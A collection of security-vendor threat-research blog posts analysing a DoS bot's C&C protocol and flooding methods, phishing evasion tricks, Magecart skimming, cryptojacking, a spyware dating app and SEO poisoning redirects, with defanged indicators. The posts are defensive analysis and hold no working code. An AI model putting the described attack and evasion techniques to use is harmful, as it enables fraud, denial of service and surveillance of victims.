    Cryptominers and stealers – malware edition

    By Atinderpal Singh and Rajdeepsinh Dodia

    Due to their decentralized nature, cryptocurrencies are impossible to control or censor by any single authority—and that makes them attractive to cybercriminals. With more than 4,000 cryptocurrencies on the market rising in both value and popularity, we’ve seen a rise in the use of malware that targets bitcoins or altcoins for financial gain. This blog provides insight into various cryptominers and stealer variants. Read more.


    DarkCloud Bootkit

    By Nirmal Singh

    Following on its report about cryptomining and wallet stealing techniques, this blog provides a technical analysis of yet another type of cryptominer malware that uses a bootkit and other kernel-level shellcode for persistence. Read more.


    Spam campaigns leveraging .tk domains

    By Mohd Sadique

    ThreatLabZ identified a campaign using the “.tk” top-level domain, which started with compromised sites that redirect users to either fake blog sites to generate ad revenue or fake tech support sites that claim to remove viruses. We estimated at the time that at least USD 20K per month in revenue was being generated from the fraudulent ad activities alone. Read more.


    Magecart campaign remains active

    By Rubin Azad

    Magecart is a notorious hacker group that has been responsible for large-scale attacks on the e-commerce sites of well-known brands. In this blog, we examine the campaign’s recent activity and its methods for skimming credit and debit card information for financial gain. Read more.


    Ubiquitous SEO poisoning URLs

    By Jim Wang

    SEO poisoning is an attack method that involves creating web pages packed with trending keywords in an effort to get a higher ranking in search results. SEO poisoning is also a way to redirect users to unwanted applications, phishing, exploit kits and malware, porn, advertisements, and so on. This blog includes examples and analysis of the techniques in use. Read more.

    Mon, 12/31/2018 - 13:48 Blogs
    Sieren: A new DoS bot

    Zscaler ThreatLabZ recently discovered a new DoS family bot named Sieren. A denial-of-service (DoS) attack is a cyber-attack in which cybercriminals disrupt the service of a host connected to the internet, either temporarily or indefinitely, to its intended users. In this analysis, we'll describe Sieren's functionality and communication, its 10 DoS methods, its bot commands, and its IoCs.


    Sieren is capable of performing HTTP, HTTPS, and UDP flooding on any web server location as instructed by the command-and-control (C&C) server.

    • HTTP flood
    • HTTPS flood
    • UDP flood

    Network communication

    Sieren starts communication with the server by sending system information.

    Data is separated by the “&” symbol.

    1. ping
    2. User Name
    3. Machine Name
    4. OS version
    5. Processor architecture (If 32 bit then 0 else 1)
    6. MD5 of the above data

    In response, the C&C server sends a target URL for performing a DoS attack. Data is separated by the “&” symbol.

    1. pong
    2. 60: used for sleep (60 * 1000 millisecond)
    3. Task_ID = 260
    4. Method = 2
    5. Target =
    6. Type = GET
    7. Threads = 100
    8. Sleep = 100
    9. Port = 0
    10. Sockets = 0 (number of sockets)
    11. Size = 0 (size of data sent through packet during Dos)
    12. CreatedAT = Timestamp
    13. Data = Empty (data sent through packet during DoS)

    The malware is capable of performing a DoS attack against the target URL using different methods. The variant we analyzed has 10 methods supported for flooding, and it chooses the method based on data received from the C&C server.

    In the above instance, we saw that a Russian education material website (https://deti-online[.]com) was the intended target for this bot. We also identified other locations, such as forum.exlpoit[.]in and x3p0[.]xyz, as the DoS targets from the C&C server during our analysis.

    The Sieren bot selects the DoS method based on data received from the C&C server. Below are the parameters used in these methods:






    No. of threads



    No. of Sockets


    Size of data



































































    The C&C server can specify the port, data, sleep time, sockets, and size of packets that will be used during flooding.

    During flooding, a user agent is selected randomly from a predefined list, as shown below.

    DoS methods supported by Sieren

    Method 1:

    In this method, the malware first gets the cookies for the target URL using InternetGetCookieEx and uses them in the HTTP header when generating flood requests. Based on the protocol (HTTP/HTTPS) and method (POST/GET), it starts sending multiple requests to the target URL.

    The below screenshot contains code for generating the header part.

    The below screenshot contains the HTTP flooding code:

    The below screenshot contains the HTTPS flooding code:

    Method 2:

    The malware creates 50 sockets and sends 50 HTTP requests before executing a sleep command with the value supplied by the C&C server. It will repeat this process until taskID is active.

    Method 3:

    This method is similar to method 2, but the bot won’t sleep after every 50 requests.

    Method 4:

    In this method, the bot will use data supplied by the C&C server in the flood requests to the target URL.

    Method 5:

    In this method, the bot will also accept a response during the flooding of the target URL, after which it will sleep for 100 seconds. Then it again starts sending flood requests to the target URL.

    Method 6:

    This method is called when the number of sockets and port is specified by the C&C server. In this method, the bot will not send HTTP or HTTPS flood requests; instead, it opens multiple sockets for the target URL in an attempt to exhaust web server-side resources. It repeatedly closes and opens additional sockets to the target URL until taskID remains active.

    Method 7:

    This method is identical to Method 6 and appears to be a placeholder for a future update.

    Method 8:

    In this method, the bot will receive arguments such as the size of random data, number of sockets, and port information from the C&C server. The bot will generate random data based on specified size, open multiple sockets, and flood the target URL with the randomly generated data.

    Method 9:

    In this method, the C&C server will supply the size of random data and port information. The bot will generate random data and flood the target URL on the specified port.

    Method 10:

    This method is used for UDP-based flooding. The bot will send random data using the UDP protocol, and it sets the TTL (time to live) value between 220 and 225 for these packets.

    The bot will stop performing flood requests once the C&C server stops sending additional commands.

    Sieren bot commands:

    Other than the DoS feature-related methods, the malware has three additional commands.

    • “dlexec”: Download payload from the URL given by the C&C server and execute it.
    • “update”: Download the updated version and execute it. It also deletes itself using the cmd process.
    • “Uninstall”: Deletes itself using the cmd process.

    Indicators of Compromise:







    Fri, 12/21/2018 - 15:33 Blogs
    2019 Will See Cybercriminals Eye Opportunities in Cryptocurrency and IoT to Launch Their Attacks

    Cybercriminals never take vacations. They’re always scanning the horizon to see which new technologies are being adopted by legitimate enterprises and are therefore ripe to be exploited, or how to utilize trusted protocols to steal credentials of unsuspecting consumers. The coming year will be no different, but the tools in some cases will change. Here are my predictions for the cybercrime trends that will get our attention in 2019.

    Prediction #1: Malware operators will cash in on cryptocurrency

    We’ll continue to see more and more malware operators make money on cryptocurrency, either by mining coins using infected systems or by stealing cryptocurrency from the infected systems. This will involve new and existing malware strains that will add cryptomining and stealing functionality. The three most common types of crypto-malware include cryptominers, wallet stealers, and clipboard hijackers, and we expect to see an increase in all three types. Here’s how they work:

    When downloaded, cryptominer malware works in the background to steal CPU cycles that can mine and generate digital currency like bitcoins without users’ knowledge or consent. By spreading their malware across thousands of machines, the miners form a mining pool that can result in big payoffs for the malware author. In 2018, cryptomining surpassed ransomware to become one of the top threats, and that trend is expected to continue.

    Wallet stealing will increase, too, in both frequency and sophistication. Wallets don’t store the cryptocurrencies; instead, they store credentials to access or spend the money, which is stored in blockchain. Expect to see new variants that contain the functionality to locate and steal wallet.dat files.

    Clipboard hijacking is another recent innovation. Because cryptocurrency wallet addresses are long, random-looking sequences of alphanumeric characters, they are difficult to remember. Almost all cryptocurrency owners copy and paste their wallet address for making transactions; on an infected system, malware can monitor for cryptocurrency transactions and dynamically change the wallet address on the clipboard to that of the malware operator so that future transactions benefit the malware operator.

    Prediction #2: SSL/TLS-delivered threats will become more common

    We’ve seen steady growth in overall SSL/TLS-encrypted traffic this year, which now accounts for almost 75 percent of total enterprise traffic going through the Zscaler cloud. Cybercriminals are leveraging this encrypted channel at all stages of the cyber kill chain. In particular, there has been a sharp increase in phishing attacks and malware payload delivery over encrypted channels. In the latter half of 2018 alone, we saw that 35 percent of phishing content was delivered over encrypted channels, representing a 300 percent increase since 2016.

    Though the volume of SSL/TLS-encrypted traffic has risen sharply, much of it is going uninspected, either because it’s assumed to come from trusted sources or, more likely, because of the impact inspection would have on network performance. Attackers can now hide malware in encrypted traffic knowing it is not likely to be inspected.

    In 2019, we will continue to see SSL/TLS utilized by cybercriminals to launch attacks, and we anticipate an increase in phishing attacks and malware payload deliveries over these channels, as cybercriminals take advantage of the assumed trust in encryption as well as the ease with which they can obtain digital certificates.

    Prediction #3: IoT threats will have a greater impact on enterprises

    IoT footprints in the enterprise network have grown rapidly over the past few years, and these internet-connected devices can pose significant risks to enterprise networks. We will continue to see cybercriminals leverage IoT devices as a beachhead to large-scale attacks against enterprise networks.

    Some of the largest attacks on record are the result of hackers using IoT devices to carry out massive distributed-denial-of-service (DDoS) attacks (you can read about some of them here and here). IoT devices have notoriously poor security with known default passwords that are rarely ever changed, and manufacturers are slow to patch vulnerabilities.

    In addition to employee-owned devices coming into the workplace, organizations are adding hundreds or even thousands of IoT devices to their environments, such as cameras, printers, IP phones, televisions, kitchen appliances, thermostats, and more. Besides the potential for DDoS attacks, IoT vulnerabilities are being used by attackers as an entry point to a network, in which they can hop from one vulnerable device to the next, undetected.

    One an attacker gains a toehold into a network through a compromised device, it can be used for spreading malware, stealing credentials, leaking data, and sniffing traffic. Unfortunately, until manufacturers take the threat seriously and bake security into their devices, the attacks will continue to rise in 2019 and beyond.

    The US-CERT (United States Computer Emergency Readiness Team) has provided security tips for IoT devices here.

    Prediction #4: Supply-chain attacks will grow

    There has been a steady increase in software supply-chain attacks in recent years. These attacks used to be targeted in nature, singling out a specific industry or organization, such as government. However, we’re seeing software supply-chain attacks used for commodity malware as well, which has the potential to impact larger numbers of users. We will see cybercriminals continue to focus on attacking critical software supply-chain infrastructure to conduct larger attacks.

    An example of the fast and massive damage that a software supply-chain attack can inflict is the June 2017 NotPetya attack. The initial infection was through an accounting software website and, by the end, it had wiped data from many thousands of computers around the world at banks, energy firms, governments, and more. Not only is a company’s valuable data and IP at risk, so too is their reputation—which in the end hits its bottom line. NotPetya appeared to be a state-sponsored attack, but most supply-chain attacks are the result of poor security hygiene, which attackers are always prepared to exploit.

    Prediction #5: Criminals will turn their attention to cloud service providers

    The increase in cloud adoption has shifted a lot of workflows to the cloud. With that shift, we’ll see more attacks aimed at infiltrating cloud service providers in an attempt to gain access to valuable data from the organizations using the cloud services. These attacks may have a far-reaching impact, in light of the volume of data companies are storing in public clouds, and they can pose severe financial consequences. 

    The cloud service providers themselves have invested heavily in security protections and have large security teams to ensure their systems are sound—they are far more secure than the typical enterprise data center. But most cloud services and their configurations are new and evolving, and mistakes, such as the widely publicized S3 bucket misconfigurations, have led to the exposure of sensitive data at many organizations. But the most common source of errors leading to data leaks or the spread of malware is the end-user. While your cloud storage system may be impenetrable, there is always the risk that employees will be careless with their credentials, enabling bad actors to access your valuable data. In 2019, we expect to see an increase in social engineering attacks aimed specifically at employees accessing cloud applications.



    Thu, 12/13/2018 - 09:01 Blogs
    Cyber Monday: The biggest day for cyberattacks? Not by a long shot.

    Last week, the Zscaler ThreatLabZ research team did an analysis of phishing attacks we’ve come across in our cloud leading up to Black Friday and Cyber Monday. The team had been seeing an increase in a variety of phishing activities, with targeted attacks and faked login pages designed to steal the credentials of unsuspecting shoppers. (You can read their informative report here.)

    With Black Friday and Cyber Monday behind us, we decided to take another look at the data to determine the volume of shopping activity across our cloud and the expected rise in threat activity that coincides with major online events.

    What we found was that Cyber Monday was, indeed, the biggest shopping day of the year on our cloud and elsewhere. According to the National Retail Federation, 50 million people shopped online in the U.S. alone. Amazon reported that Cyber Monday was its biggest shopping day in history, and over the five days from Thanksgiving through Monday, Amazon customers bought more than 180 million items.

    What we saw more than a billion times

    We can attest to the high volume of shopping activity. On Cyber Monday, the Zscaler cloud processed 1.35 billion internet requests on shopping sites, with the highest volume by far on Amazon, at 372,824,847 requests. While Monday’s shopping traffic only represented 2.18 percent of traffic overall on our cloud, it was 72 percent higher than shopping traffic on a typical day.

    Cyber Monday top five shopping sites on the Zscaler cloud:

    Number of requests we processed on Cyber Monday's top shopping sites.

    With so much shopping activity, you might think that Black Friday and Cyber Monday would be the days that cybercriminals would crank up the volume, launching phishing attacks and spreading malware to online shoppers. But the traffic patterns on our cloud show otherwise.

    Phishing attacks are planned and executed with precision

    On Cyber Monday, we blocked a total of 2,337,537 phishing attempts. That’s significant, but that number was actually down from the days before Black Friday, and this decrease is consistent with patterns we’ve seen. Attacks peak in the days leading up to major events or shopping days. Attackers plan their phishing campaigns for the days when potential victims are looking for deals, aligning their attacks with mainstream advertising campaigns. On the “big day,” when shoppers have already decided what sites to visit, the attacks drop off accordingly.

    On the three days before Thanksgiving, we blocked the highest numbers of phishing attempts, with a peak of 4.4 million on Wednesday. By Black Friday, attacks had dropped by nearly 30% from the high. They continued to decrease in volume through Monday when attacks were down 46% from Wednesday.

    November graph shows daily phishing attempts on the Zscaler cloud

    Why did attacks drop on Cyber Monday?

    It’s been a long time since hackers could be stereotyped as nerds in the basement using their programming skills to bootleg videos. Today’s criminals are sophisticated in their technical execution and in their understanding of market drivers and user behavior. They operate their campaigns like big businesses—because they are. They know when you’re most likely to be online and when you’ll be sifting through the most email (Monday is the most popular day for phishing attacks). They know you’re more likely to open tracking slips or invoices than an unknown attachment. And they exploit the trust you have in brands like Amazon, Kohl’s, Bank of America, and many others, by creating fake websites that look just like the real thing.

    Consumers must change their online behavior accordingly, approaching each online interaction with an awareness of its potential risk. You can’t assume that attachments are safe, even if you recognize the name of the sender; spoofing names is practically effortless. You can’t assume that text messages are safe either, due to the rise in SMS phishing. So-called “SMiShing” links can take you to compromised websites, just as infected email attachments can. E-commerce websites can be compromised in a variety of ways. Hackers can inject JavaScript into a site and the script sends data collected in the input fields to the hacker’s remote server. A favorite tactic is creating sites that look like legitimate sites but are designed to steal your personal information.

    Can you tell the difference between these two Amazon login screens?

    The screen on the left is a login for a phishing site that will collect your personal information, including credit card number, and you’ll think you’re on the Amazon site the whole time. The one on the right is a real Amazon login screen. The only difference is in the address bar. Be sure the site you are on matches the URL address.

    We also know, as we stated earlier, that today’s cybercriminals plan their campaigns with a marketer’s precision. It’s wise to take extra precautions leading up to and during big events or news days (another day in November when we saw a surge in phishing activity was the sixth, the U.S. election day).

    Three things you can do right now to protect yourself from phishing:

    1. Check the authenticity of the URL or website address before clicking on a link; make sure the address matches the site you're visiting
    2. Ensure online retailers and banking sites use secure connections; the URL should start with HTTPS
    3. Inspect the source of emails with enticing shopping deals; be wary of all links and attachments

    More resources:

    Read the ThreatLabZ Phishing Roundup blog for an analysis of current phishing trends

    Download the infographic:

    Tue, 12/04/2018 - 08:02 Blogs
    Black Friday &amp; Cyber Monday Deals: Phishing and Site Skimmers

    It’s that time of year again! The most glorious of shopping seasons has arrived, and users have commenced their annual tradition of flooding e-stores in search of the best deals that their money can buy. Threat actors, keen to take advantage of increased seasonal shopping activity, are deploying targeted phishing campaigns and site skimmers in the hopes of cashing in. The spectrum of attacks is reaching users in nearly all aspects of their online presence. Email, tweets, and websites are all vehicles of abuse. Zscaler has seen a steady rise in phishing attacks leading up to Black Friday and Cyber Monday, and we'll provide an overview of them here.

    Fig. 1: Malicious activities from mid-October through mid-November. The turquoise bars represent targeted phishing attacks.

    Targeted phishing

    Examining one of the targeted phishing campaigns illustrates the need for caution when shopping online. The faked Amazon screen provides the perfect example, because Amazon is probably the most prolific online shopping site used during the holidays. Aside from the address bar, it's a relatively good knock-off.

    Fig. 2: Faked Amazon sign-in form.

    This attack doesn’t stop at compromising your Amazon credentials. This site also wants your credit card information!

    Fig. 3: Faked Amazon billing page.

    A closer look at this attack shows that the attackers don’t even have the decency to encrypt your stolen credentials.

    Fig. 4: Wireshark exposes the packets moving between client and server over HTTP.

    The best defense is to always be conscious of the address bar. A store like Amazon is never going to ask you for sensitive information away from the Amazon site.

    Site skimmers

    Other sophisticated attacks that have proven to be even more insidious are site skimmers like MageCart. MageCart refers to a hacker group that is responsible for large-scale attacks on e-commerce sites. MageCart will compromise a well-known or trusted site and inject malicious, obfuscated JavaScript that can tap into purchases. The injected script will add a form to the payment page at runtime using Document Object Model (DOM) properties. Information skimmed from this attack can include all the personal information requested by the compromised e-commerce page.

    More information about this type of attack is detailed in another blog. Despite several security vendors taking notice, users are still being impacted daily. An updated chart on MageCart hits since our September 28 blog shows that this advanced attack is not stopping anytime soon.

    Fig. 5: MageCart activity between September 20 and November 15.

    The best defense against this threat is to have a malware detection tool that is inline with the browser. These tools have the best chance of detecting the malicious JavaScript code on an online store's page.

    Cryptocurrency Mining

    The final attack we'll review is the use of cryptojacking. Unlike the other attacks discussed, cryptojacking does not target the user's sensitive information but rather their system resources. A small piece of javascript can be injected into a page which will leverage the user's browser processes to mine cryptocurrency for the attacker. Attackers will leverage user susceptibility to the shopping season to bolster their cryptowallets.

    Fig. 6: An online shopping aggregator linking to Amazon, but redirecting user's to mine Monero Cryptocurrency

    Behind the scenes of this shopping site, lies a small piece of javascript that redirects the user's system resources to mine cryptocurrency through the application, CoinHive.

    Fig. 7: Coinhive injection script will use the user's system resources to mine the cryptocurrency, Monero.

    The best defense against this kind of attack is to use javascript blocking browser applications like ScriptSafe or NoScript to toggle what sites may execute javascript. 


    The ThreatLabZ team at Zscaler works diligently to ensure that customers do not fall victim to malicious activities described above. Users should be cautious and protect themselves by reviewing our security checklist, particularly during the shopping season:

    • Check the authenticity of the URL or website address before clicking on a link
    • Ensure online retailers and banking sites use HTTPS/secure connections
    • Do not use unsecured public Wi-Fi for shopping
    • Inspect the source of emails with enticing shopping deals; be wary of any suspicious attachments
    • Steer clear of unofficial mobile application stores
    • Use two-factor authentication whenever possible, especially on sensitive accounts such as those used for banking
    • Always ensure that your operating system and web browser are up to date and have the latest security patches installed
    • Use browser add-ons like Adblock Plus to block popups and potential malvertisements
    • Use browser add-ons like No Coin to block a site's attempts to use your computer for cryptocurrency mining
    • Back up your documents and media files
    • Review the Identity Theft Guide and FAQs from the Federal Trade Commission
    • Review the  National Cybersecurity and Communications Integration Center's (NCCIC) Holiday Scams and Malware Campaigns warning and recovery actions message

    Wishing you all a very happy, healthy, and safe Thanksgiving!

    Zscaler™, Zscaler Internet Access™, Zscaler Private Access™, ZIA™ and ZPA™ are either (i) registered trademarks or service marks or (ii) trademarks or service marks of Zscaler, Inc. in the United States and/or other countries. Any other trademarks are the property of their respective owners.

    Wed, 11/21/2018 - 12:19 Abuse,Compromise,Encryption,Evasion/Stealth,Exploit,Malware,Mobile,Mobile Malware,Obfuscation,Phishing,Scam Blogs
    Zscaler ThreatLabZ Phishing Roundup

    Phishing is an attempt to steal personally identifiable information, such as Social Security numbers, credit card details, date of birth, and other sensitive data. Typically, phishing targets a user with an email containing a link to a website that imitates a legitimate website the user might visit. As users have become savvier about their online practices, the developers of phishing sites have upped their game, too, and many of the sites we see are carefully designed to look like the sites they’re imitating, and clever tactics are used to trick potential victims.

    In this blog, we will share some insights from phishing activities blocked across the Zscaler™ cloud. We’ll cover the top brands and categories we are seeing targeted by phishing campaigns, recent examples of campaigns, and some of the tactics being used by threat actors to be more successful.

    Types of phishing

    There are different types of phishing activity, including:

    Spear phishing, in which the phishing attempt is targeted against certain organizations or individuals working for specific companies.

    SMiShing, also known as SMS phishing, which involves a message (SMS communication) that targets victims and entices them to click on URLs hosting phishing websites.

    Whaling, in which threat actors target high-profile individuals, such as senior executives in a company, most often to gain internal company information that is not public knowledge.

    What brands are being targeted?

    While it might be easier to spoof the sites of lesser-known brands, where differences wouldn’t be so apparent, the actors trying to steal personal information need to impersonate popular sites for maximum return, raising the odds of snaring a victim. Their phishing sites often feature the biggest brands, and they use a variety of tricks to evade detection, which we’ll describe in this report. Some of the most commonly targeted brands we’ve seen in the recent phishing campaigns can be seen below:

    Fig. 1: Top phished brands in the Zscaler Cloud

    Microsoft tops the list partly because of Microsoft’s multiple enterprise web properties, such as OneDrive, Office 365, Outlook Web Access, among others, being targeted by the threat actors. Microsoft was followed by Facebook and PayPal in the list. In addition to the known brands, it was interesting to see phishing campaigns targeting Travel Visa portals (Canadian Visa and Australian Visa, for example) included in our top five most targeted brands. The attackers in this case were most likely interested in phishing for sensitive immigration information, such as passport details, date of birth and national identification numbers.

    The top five most commonly targeted application categories we saw in the recent phishing campaigns include:

    Communications (41.4%)

    Social media (18.3%)

    Finance (16.7%)

    Travel (12.4%)

    Dating (3.4%) 

    Fig. 2: Top phished site categories in the Zscaler Cloud

    Delivery of phishing content

    The majority of the phishing campaigns start with an email or message containing a link to a site hosting the phishing page. If the user clicks on the link, the phishing page is delivered. We have seen an increasing number of phishing attempts being delivered over an encrypted channel (HTTPS) -. We believe this increase is most likely due to the availability of domain validated (DV) SSL certificates. These certificates are easy to obtain from free SSL cert providers like Lets Encrypt as well as commercial Certificate Authorities. Multiple commercial CAs also offer free DV SSL certs with shorter validity periods with the expectation that the client will purchase a paid certificate once those expire. However, these offers provide a safe haven for cybercriminals who often leverage these short-term certs to deliver malicious content and then discard them.

    About 65 percent of all phishing content we’ve seen in the past three months was over HTTP and the remaining 35 percent was over HTTPS. This represents a 300 percent increase in phishing content being delivered over HTTPS since 2016.

    A look at recent phishing examples:

    Chalbhai campaign

    We continue to see a known phishing campaign using the tag chalbhai in its form statements. This campaign has been targeting users with phishing pages that mimic American Express, Microsoft Office, and Adobe, seasonal campaigns like fake IRS and TurboTax webpages during tax season and more recently holiday shopping season pages. A sample of this tag being used on a Wells Fargo phishing page is shown below.

    Fig. 3: Chalbhai tag shown in the source code

    Usage of compromised sites

    Below is an example of a legitimate site that is compromised and the attacker has hosted multiple phishing sites on the compromised domain. The screenshot shows the open directory found on the compromised web server.

    Fig. 4: Compromised web server

    The two screenshots that follow are phishing pages designed to look like pages of legitimate websites, including a single sign-on page for Abilene Christian University and a Bank of America page.

    Fig. 5: Faked SSO for Abilene Christian University

    Fig. 6: Faked Bank of America page

    If the user falls for these phishing pages, the credentials are harvested and posted to the attacker controlled location.

    Evasion and Anti-Analysis Techniques

    1. Use of images instead of content

    The phishing websites are usually cloned copies of the legitimate sites. The difference in the case of Bank of America is that the faked page is almost entirely made up of a single image with a simple credential login form. This helps to evade engines running heuristics on the page source code.

    2. Preventing access to page source

    A simple anti-analysis technique used by scammers is disabling the right click functionality to prevent users from checking the page source. This can be seen in the phishing page below, which is pretending to be an Adobe Online document.

    Fig. 7: Malicious Adobe Online document 

    3. Filtering based on User IP address, Host Names, and User Agent strings involved in the request

    We’ve also observed malicious actors trying to fingerprint and serve phishing content based on the user’s IP address, host names, and user agents. We can see an example in the snippet below where the attacker is maintaining a list of IP addresses, hostnames and User-Agent strings known to be used by security researchers and analysts while attempting to get the phishing. If any request to the phishing site arrives from one of the known IP addresses or hostnames, or has one of the listed User-Agent strings then the phishing page will not be served. This tactic helps the attacker to keep the phishing page content undetected for a longer duration.

    Fig. 8: Banned source IP addresses, hostnames and User-Agent strings

    4. Exfiltrating information as an image instead of content

    We have also seen multiple instances of phishing attacks that prompt users to verify their identity by asking them to upload a copy of their ID, as shown in the code below.


    Fig. 9: Coded to prompt users to upload identification card

    The sensitive user information in this case is being stolen in the form of an image which will bypass content based data loss prevention engines.

    5. Encrypted Phishing

    We have also seen a few phishing pages that use encryption to hide the source code in an attempt to evade detection by security engines. One such example, for a faked PayPal page, is shown below.

    Fig. 10: Encrypted source code for a phishing page

    6. Punycode based hostnames

    We have also seen attempts to use punycode, in which threat actors use homograph techniques to construct a URL that looks like a legitimate URL, but uses characters in non-English language character sets to trick the user. (See our Punycode blog for examples of this technique.). This technique makes it difficult for reputation based engines to keep up.

    Anatomy of Scam Page creation

    Let’s now take a look at how typical scam web pages are created to perform financial fraud and phish for sensitive information. Attackers copy website templates to create scam websites making the scam pages look very similar to the original as seen below:

    Fig. 11: Scam websites are built using templates to mimic legitimate sites

    Most of the time, the fakes would include small changes to evade detection, like changing the names of the doctors on the following page but the site is identical otherwise.

    Fig. 12: Small changes that help attackers evade detection

    The scam websites even have live chat support, which responds to queries and guides users through the payment process. The photos of doctors were taken from a royalty-free stock photography database. When checking the source code in the Fig 11 example, we found that the contents were copied from a legitimate site, santabarbaraherbclinic[.]com, and we can see the timestamp in the screenshot below.

    Fig. 13: Source code in scam website shows copied content from a legitimate site


    Phishing attacks have been on the rise over the past few years. As the end users become more vigilant against clicking suspicious links, attackers have also upped the ante by evolving the way in which the phishing content is being delivered as well as tactics being leveraged to make the phishing pages stay undetected for longer period.

    While in this blog we focused mainly on commodity phishing and scam pages, some of the tactics mentioned here are also commonly seen in many of the targeted phishing campaigns (Spearphishing, Business Email Compromise, etc). ZscalerTM ThreatlabZ actively tracks and ensures coverage against phishing campaigns.

    Tue, 11/20/2018 - 10:35 Phishing Blogs
    Soulmate: A Dating App That Spies On You

    During a recent hunt for malware, the Zscaler™ ThreatLabZ team came across a piece of spyware disguised as an Android app and hosted on Google Play, Google’s official Android app store. The app portrays itself as partner matching app called Soulmate, designed to help you find (and keep tabs on) your True Love

    But the app has capabilities beyond those described by the developer, like snooping on incoming and outgoing calls, intercepting SMS messages, stealing contacts, tracing current and last-known location, and more.   

    Fig 1: Soulmate app on Google Play 


    Zscaler notified Google about the presence of this app and it was immediately taken down from Google Play.


    App Details

    Name : Soulmate  Package Name : com.kikde.soulmate Hash : 28be1a661e375547df52e7b544c2745b Size : 8.6M Installs : 50+ Offered By : Kikde App


    Detailed Information 

    As soon as the app is started, it greets the user with a splash screen and some basic setup activities. It also asks to register itself as default keyboard. By doing so, it can log every keystroke entered by the user.   

    Fig 2: Initial activities


    During our analysis, we received a 404 error from the app’s command and control (C&C), which may have been a ploy or may have simply meant that the services were not available at the time of analysis. We decided to look further and found several permissions being asked that did not align with the name or purported function of the app. The screenshot below shows the list of permissions asked by the app.  

    Fig 3: Android permissions


    Once the setup was done, the app registered and started some services and broadcast receivers. Android services are components that can run in the background without user interaction, and the Android BroadcastReceiver is a component that can be made to trigger when certain system events occur, such as presenting an alert when the battery is low.

    This spyware registers a broadcast receiver named ReciverHandler. This receiver is registered to execute upon following events: 

    • Outgoing Call
    • Connectivity Change
    • Change of Phone State
    • Package Added/Removed/Installed 
    • Power Disconnect/Connect
    • SMS Received
    • SMS Sent
    • Boot
    • Screen ON/OFF

    Depending upon which of the above events occurs, the spyware is designed to trigger particular services. We found that this app used the following Android services: 

    • Call Record Service
    • Record Service
    • Geofence Service
    • App location Service
    • MyKeyboard Service
    • Clipboard Monitor Service
    • Basic Info Upload Service
    • File Upload Service 
    • Upload Service 

    Call Record Service and Record Service are responsible for recording the victim’s calls. The screenshot below shows this functionality.  

    Fig 4:  Call recording


    Geofence Service and AppLocation Service are responsible for fetching the victim's location. A snippet from the service can be seen below:  

    Fig 5: Location tracing


    Clipboard Service is responsible for stealing everything that is copied/pasted by the victim. The app creates a file named clipboard.txt in which the app stores all copied data. Copied data is also uploaded to the server, as shown in the following screenshot.  

    Fig 6: Clipboard service 


    The app also tries to steal the victim's SMS messages as shown below: 


    Fig 7: SMS stealing


    Once every detail is collected, the data is saved in database locally and then sent to the C&C. These functions are achieved with the BasicInfoUpload Service, FileUpload Service, and Upload Service. 

    As we researched package names, app certificates, and statically collected data, we discovered that this spyware had been uploaded to Google Play in past with the name Soulmate (Beta) and a different package name (com.perfekt.ats.perfektsoulemates). It was taken down immediately. We also came across a lot of advertising for spyware apps that enable users to spy on loved ones. Some of these ads are shown below.  

    Fig 8: Spyware advertisements


    These advertisements took us to the developer's official website, apps[.]kikde[.]com. KikDe  promotes itself as a company that provides services to develop websites, Android apps, iOS apps, Windows apps, SEO (Search Engine Optimization), and more. On the KikDe website, we found references to another company called American Transportation System LLC. Tracing this company, we ended up on a third-party website that was still hosting some of its apps. All these apps contained the word  “perfekt” in their titles and it soon became clear that the earlier app named Soulmate was uploaded by this same entity. Other apps by this developer can be seen in the screenshot below along with comparisons to the same apps with different names on Google Play:   

    Fig 9: Third-party vs. Google Play apps


    Other apps from this developer were also highly suspicious. For example, Kikde OTP Monitor could be used for forwarding an OTP (One Time Password) to another mobile device. Kikde Secure+ Keyboard was more of a keylogger. We are continuing our analysis of these apps and will report our findings. 



    It is always advisable to stay away from “spying” apps. They do have some legitimate use cases, such as parents keeping track of the whereabouts of their children. But as we’ve seen with Soulmate, users can’t be sure of what is happening under the hood, and the user who is spying may actually be the one who is spied upon.

    When considering apps to download, users should always exercise caution. Some apps might have good ratings and favorable reviews, but that is not reason enough to trust them, because such ratings and reviews can easily be supplied by the attackers themselves using other identities. 

    Zscaler protects users from spyware and other malicious apps that call out to C&C servers.

    Wed, 10/31/2018 - 10:24 Blogs
    Ubiquitous SEO Poisoning URLs

    SEO poisoning, also known as search engine poisoning, is an attack method that involves creating web pages packed with trending keywords in an effort to trick search engines to get a higher ranking in search results. There are different ways to implement SEO poisoning, such as keyword stuffing, the use of hidden text, and cloaking, among others. In addition to manipulating search ranking, SEO poisoning is widely used to redirect users to unwanted applications, phishing, exploit kits and malware, porn, advertisements, and so on. 

    The ThreatLabZ research team has been actively tracking SEO poisoning campaigns; in this blog, we will share some recent examples and an analysis of the techniques used. 

    “Midterm elections” campaign

    Attackers often use holidays and other timely occasions that are likely to generate a lot of search interest. For this analysis, we chose to focus on the upcoming U.S. election. In the following screenshot, there are three SEO poisoned URLs in the Google search result for the keyword “midterm elections.” 

    Fig. 1: SEO poisoned URLs in Google search


    After about a month of looking at this “midterm elections” SEO poisoning campaign, we found more than 10,000 compromised websites with more than 15,000 keywords, and we continue to find hundreds of newly compromised sites involved in this activity every day.

    Use of multiple redirects

    Let’s take a look at some specific URLs generated by the following SEO poisoning campaign:


    The Google cache for the above URL is shown below, and you can see that the Google crawler got a junk page loaded up with many uses of the keyword “midterm elections.” 

    Fig. 2: Google crawler loaded with keywords

    But as we browse this URL in Chrome, we discovered that it may be redirected to this page:

    Figure 3: SEO poisoning landing page example

    We say “may” because the redirected website is different each time.

    We also noted that it goes through a series of redirects before landing on the final page, as shown in figure 4 below. This is just one of the many measures that cybercriminals are using to deter automated crawlers from adding detection for the landing pages.

    In our example, the user goes through two redirects via the “302 Found” response code before getting to a real page, as shown in figure 3:

    Redirect URL #1 - 5[.]45[.]79[.]15/input/?


    Redirect URL #2 - www[.]hitcpm[.]com/watch?key=027ed88f05536b6c1a41df968c0abb52

    Figure 4: The web page content of the last redirect

    The final landing page that the user sees will be different every time; in our case the user was served the following web page:


    The multiple redirect model provides a perfect platform for a MaaS (Malware-as-a-Service) infrastructure, as it shields the final landing page from automated security crawlers.

    Cloaking technique

    The attackers are leveraging cloaking techniques whereby the end user is served different content depending on the HTTP headers involved in the web request. We noticed three distinct responses in some of the recent campaigns:  

    1. Crawler view: The SEO URL will return a web response that is more catered towards poisoning the search engine results for the relevant search term. This will make the URL appear higher in the search result.
    2. Browser or user view: The SEO URL in this case will lead the user through a series of redirects before a final landing page, dependent upon the campaign.

